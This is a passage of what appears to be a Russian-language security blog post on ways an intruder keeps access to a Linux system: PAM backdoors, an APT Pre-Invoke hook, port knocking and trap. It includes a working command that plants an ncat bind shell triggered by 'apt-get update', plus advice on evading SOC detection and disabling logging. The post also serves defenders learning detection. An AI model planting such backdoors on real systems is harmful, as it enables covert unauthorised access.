\u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0434\u0432\u0435\u0440\u0438, \u0438\u043b\u0438 \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0440\u0430\u0437\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 \u0431\u0435\u043a\u043a\u043e\u043d\u043d\u0435\u043a\u0442\u0430 (why not?). \u041c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0439 \u043c\u043e\u0434\u0443\u043b\u044c, \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439. \u0411\u0435\u0440\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438, \u0434\u0435\u043b\u0430\u0435\u043c \u0437\u0430\u043a\u043b\u0430\u0434\u043a\u0443, \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c \u0438 \u0437\u0430\u043c\u0435\u0449\u0430\u0435\u043c. \u0413\u043e\u0442\u043e\u0432\u043e, \u0432\u044b \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u044b!<\/p>\n<p>\u041a\u043b\u0430\u0441\u0441\u043d\u0430\u044f \u0441\u0442\u0430\u0442\u044c\u044f \u043f\u0440\u043e PAM \u0435\u0441\u0442\u044c \u043d\u0430&nbsp;<a href=\"https:\/\/xakep.ru\/2017\/01\/31\/unix-pam-backdoor\/\" rel=\"noopener noreferrer nofollow\">xakep.ru<\/a><\/p>\n<h4>apt-get<\/h4>\n<p>\u042d\u0442\u043e \u043c\u043e\u0439 \u043b\u044e\u0431\u0438\u043c\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431. \u0425\u043e\u0442\u044f \u0438 \u043d\u0435 \u0441\u0430\u043c\u044b\u0439 \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439. \u0410\u0434\u043c\u0438\u043d\u044b \u043d\u0435 \u043b\u044e\u0431\u044f\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043d\u0430 \u0432\u0430\u0436\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445. \u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0443\u0442\u0438\u043b\u0438\u0442\u044b apt (\u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432) \u0445\u0440\u0430\u043d\u044f\u0442\u0441\u044f \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438&nbsp;<code>\/etc\/apt\/apt.conf.d\/<\/code>. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u043e \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u044d\u0442\u0443 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044e, \u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0438\u0437\u044f\u0449\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0440\u0430\u0432\u0430 root. \u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0444\u0430\u0439\u043b \u0438 \u0437\u0430\u043f\u0438\u0448\u0438\u0442\u0435 \u0432 \u043d\u0435\u0433\u043e&nbsp;<code>APT::Update::Pre-Invoke {\"CMD\"};<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437, \u043a\u043e\u0433\u0434\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c&nbsp;<code>apt-get update<\/code>, \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432\u0430\u0448\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430.<\/p>\n<pre><code class=\"bash\">echo 'APT::Update::Pre-Invoke {\"nohup ncat -lvp 1234 -e \/bin\/bash 2&gt; \/dev\/null &amp;\"};' &gt; \/etc\/apt\/apt.conf.d\/42backdoor<\/code><\/pre>\n<p>\u0421\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0434\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0430 \u0443&nbsp;<a href=\"https:\/\/twitter.com\/RandoriSec\/status\/1036622487990284289\" rel=\"noopener noreferrer nofollow\">@RandoriSec<\/a>. \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u043b\u044f&nbsp;<code>apt-get<\/code> <code>install<\/code>?<\/p>\n<p>\u0412 \u043b\u043e\u0433\u0430\u0445 auditd \u044f \u0443\u0432\u0438\u0434\u0435\u043b\u0430 \u0437\u0430\u043f\u0443\u0441\u043a ncat, \u043d\u043e \u0442\u0430\u043c \u043d\u0435\u0442 \u043d\u0438 \u043c\u0430\u043b\u0435\u0439\u0448\u0435\u0433\u043e \u043d\u0430\u043c\u0435\u043a\u0430 \u043d\u0430 \u0442\u043e, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b. \u0422\u0430\u043a \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u043c SOC \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0441\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u0442\u0440\u0443\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0439\u0442\u0438, \u0433\u0434\u0435 \u0436\u0435 \u0441\u043f\u0440\u044f\u0442\u0430\u043d \u0432\u0430\u0448 \u043a\u043e\u0434 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f.<\/p>\n<h4>Port Knocking. \u041f\u043e\u0441\u0442\u0443\u0447\u0438\u043c\u0441\u044f \u043f\u043e \u043f\u043e\u0440\u0442\u0430\u043c?&nbsp;<\/h4>\n<p>\u0415\u0441\u043b\u0438 \u0437\u0430\u0433\u0443\u0433\u043b\u0438\u0442\u044c \u044d\u0442\u0443 \u0442\u0435\u0445\u043d\u0438\u043a\u0443, \u0442\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0432\u044b \u0443\u0432\u0438\u0434\u0438\u0442\u0435 &#171;\u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0441\u044f&#187;, &#171;\u0445\u0430\u0440\u0434\u0435\u043d\u0438\u043d\u0433&#187; \u0438 &#171;\u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0439 \u0440\u0435\u0436\u0438\u043c \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0442\u0438&#187;. \u041c\u0430\u043b\u043e \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.&nbsp;<\/p>\n<p>\u041a\u0440\u0430\u0442\u043a\u043e \u0441\u0443\u0442\u044c: \u043f\u043e\u0440\u0442 22 (SSH) \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u043a\u0440\u044b\u0442. \u041d\u043e \u0433\u0434\u0435-\u0442\u043e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u0440\u0442\u043e\u0432 (\u043e\u043d\u0438 \u0442\u043e\u0436\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u044b) \u0442\u0430\u043a\u0430\u044f, \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u0432 \u043d\u0438\u0445 \u043f\u043e\u0441\u0442\u0443\u0447\u0430\u0442\u044c\u0441\u044f \u0432 \u043d\u0443\u0436\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435, \u0442\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0439\u0434\u0435\u0442 \u043c\u0430\u0433\u0438\u044f \u0438 \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e IP-\u0430\u0434\u0440\u0435\u0441\u0430 \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043f\u043e\u0440\u0442 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u043e SSH. \u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u0440\u0430\u043d\u044c\u0448\u0435 \u043d\u0435 \u0441\u043b\u044b\u0448\u0430\u043b\u0430 \u043e \u043f\u043e\u0434\u043e\u0431\u043d\u043e\u043c. \u041d\u043e, \u043a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u0430\u044f, \u0434\u0430\u0436\u0435 \u0432 putty \u0435\u0441\u0442\u044c \u0448\u0442\u0430\u0442\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0434\u043b\u044f port knocking. \u041d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0436\u0434\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 \u0436\u0435 \u043a\u0442\u043e-\u0442\u043e \u043f\u043e\u0441\u0442\u0443\u0447\u0438\u0442\u0441\u044f \u0432 \u0435\u0435 \u0434\u0432\u0435\u0440\u0438. \u0427\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 knockd, \u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u043e\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0438 \u0432 \u0444\u0430\u0439\u043b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0435\u0433\u043e \u0436\u0434\u0430\u0442\u044c \u0438 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c. \u041d\u0443 \u0430 \u0447\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0432\u044b \u0432\u043e\u043b\u044c\u043d\u044b \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u0441\u0430\u043c\u0438: \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b \u0438\u043b\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0443 \u0441\u043c\u0435\u0448\u043d\u043e\u0435 \u043f\u043e\u0441\u043b\u0430\u043d\u0438\u0435.&nbsp;<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c4d\/146\/7e6\/c4d1467e6f79b79cb6711494802ed763.png\" width=\"825\" height=\"214\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430, \u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0441\u0442\u0443\u043a\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0435\u043d\u0443 \u0432 \u0434\u0435\u0442\u0441\u043a\u043e\u043c \u043b\u0430\u0433\u0435\u0440\u0435. \u0415\u0441\u0442\u044c \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0430 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. \u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043d\u043e\u0432\u043e\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 &#8212; \u0434\u0435\u043b\u043e \u0448\u0443\u043c\u043d\u043e\u0435, \u0430 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b &#8212; \u043f\u0430\u043b\u0435\u0432\u043d\u043e\u0435. \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0430\u0434\u043e \u0438\u0441\u043a\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0441 \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u043c knockd \u0438 \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0430\u0432\u043a\u0438, \u043b\u0438\u0431\u043e \u0442\u0438\u0445\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043b\u043e\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.&nbsp;<\/p>\n<h4>trap<\/h4>\n<p>\u0415\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u043f\u043e\u0441\u043e\u0431, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u0432&nbsp;<a href=\"https:\/\/attack.mitre.org\/techniques\/T1546\/005\/\" rel=\"noopener noreferrer nofollow\">MITRE ATT&amp;CK<\/a>. \u0418\u043d\u043e\u0433\u0434\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u0430\u043c \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c \u043f\u043e\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440&nbsp;<code>ctrl + C<\/code>, \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u044d\u0442\u0438 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439&nbsp;<code>trap<\/code>. \u041d\u043e \u044f \u0442\u0430\u043a \u0438 \u043d\u0435 \u043d\u0430\u0448\u043b\u0430, \u043a\u0443\u0434\u0430 \u043c\u043d\u0435 \u043d\u0430\u0434\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u044d\u0442\u043e\u0442&nbsp;<code>trap<\/code>, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u043d\u0430&nbsp;<code>ctrl + C<\/code>, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0437&nbsp;<code>ping<\/code>&nbsp;\u0443 \u043c\u0435\u043d\u044f \u043e\u0442\u043a\u0440\u044b\u043b\u0441\u044f reverse-shell. \u0410 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 &#8212; \u043e\u0447\u0435\u043d\u044c \u0442\u0430\u043a\u043e\u0435 \u0441\u0435\u0431\u0435. \u0412\u0435\u0434\u044c \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430\u0434\u043e \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0438\u043e\u0434\u0438\u0447\u0435\u0441\u043a\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043c\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0434\u0430 \u0435\u0449\u0435 \u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0442\u044c&nbsp;<code>ctrl + C<\/code>.<\/p>\n<h3>\u0418\u0442\u043e\u0433\u0438<\/h3>\n<p>\u0421\u0442\u0430\u0442\u044c\u0435\u0439 \u044f \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0430\u0441\u044c \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 Linux. \u0412\u0441\u044f \u0441\u0443\u0442\u044c \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0434\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043d\u0430\u0434\u043e \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 persistence \u0438\u0434\u0435\u0442 \u0440\u0443\u043a\u0430 \u043e\u0431 \u0440\u0443\u043a\u0443 \u0441 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0442\u0435\u0445\u043d\u0438\u043a\u0430\u043c\u0438 defence evasion, \u043d\u0443 \u0438 \u0441 \u0432\u0430\u0448\u0435\u0439 \u0444\u0430\u043d\u0442\u0430\u0437\u0438\u0435\u0439. \u0412\u044b \u0441\u0430\u043c\u0438 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0435 \u043a\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0438 \u043a\u0443\u0434\u0430 \u0438\u0445 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c. \u0418 \u0447\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u0445\u043e\u0436\u0435 \u043d\u0430 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0442\u0435\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u0448\u0430\u043d\u0441\u043e\u0432 \u043f\u0440\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043a\u0430\u043a\u043e\u0435-\u0442\u043e \u0432\u0440\u0435\u043c\u044f.<\/p>\n<p>\u0412\u044b, \u043d\u0430\u0432\u0435\u0440\u043d\u044f\u043a\u0430, \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u044f \u043c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0443\u0434\u0435\u043b\u0438\u043b\u0430 \u0442\u043e\u043c\u0443, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0430 \u0438\u043b\u0438 \u0438\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0432\u0430\u0441 \u0432\u044b\u0434\u0430\u0442\u044c. \u0427\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435 \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u044e \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0418 \u043d\u0430\u0434\u0435\u044e\u0441\u044c, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 SOC \u0432\u044b\u043d\u0435\u0441\u043b\u0438 \u0438\u0437 \u0441\u0442\u0430\u0442\u044c\u0438 \u0445\u043e\u0442\u044f \u0431\u044b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0449\u0435\u0439, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.<\/p>\n<p>\u0410 \u0435\u0449\u0435 \u0431\u0443\u0434\u0443 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u0430 \u0437\u0430 \u043b\u044e\u0431\u0443\u044e \u043e\u0431\u0440\u0430\u0442\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c. \u0415\u0441\u043b\u0438 \u0432\u0434\u0440\u0443\u0433 \u0432\u044b \u0437\u043d\u0430\u0435\u0442\u0435 \u0435\u0449\u0435 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u0438\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043f\u0440\u0438\u0435\u043c\u044b, \u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f \u043d\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0430, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u0435\u0441\u044c. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u043a\u0438\u0439. \u041e\u0441\u043e\u0431\u0435\u043d\u043d\u043e, \u0435\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.<\/p>\n<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/568298\/\"> https:\/\/habr.com\/ru\/post\/568298\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text_v2\" id=\"post-content-body\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0432\u0430\u0436\u043d\u043e \u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u0442\u0435\u0440\u044f\u0442\u044c. \u0412\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430, \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 &#8212; \u0432\u0441\u0435 \u044d\u0442\u043e \u0440\u0430\u0437\u0440\u044b\u0432\u0430\u0435\u0442 \u0431\u0435\u043a-\u043a\u043e\u043d\u043d\u0435\u043a\u0442. \u0418 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u0442\u044c \u0441\u043d\u0430\u0447\u0430\u043b\u0430. \u0414\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432\u0430\u043b\u0438\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u0441\u043c\u0435\u043d\u0430 \u043f\u0430\u0440\u043e\u043b\u044f \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043c\u0430\u0441\u0441\u0443 \u043f\u0440\u043e\u0431\u043b\u0435\u043c. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0441\u043e\u0431\u0440\u0430\u043b\u0430 \u0432 \u043e\u0434\u043d\u043e\u043c \u043c\u0435\u0441\u0442\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u043c\u043d\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u043e\u0442 \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u0438 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0448\u0443\u043c\u043d\u044b\u0445, \u043d\u043e \u0435\u0441\u0442\u044c \u0438 \u044d\u043b\u0435\u0433\u0430\u043d\u0442\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u043d\u0430 \u043c\u043e\u0439 \u0432\u043a\u0443\u0441.&nbsp;<\/p>\n<p><strong>Disclaimer:<\/strong>&nbsp;\u041d\u0438\u043a\u0430\u043a\u043e\u0439 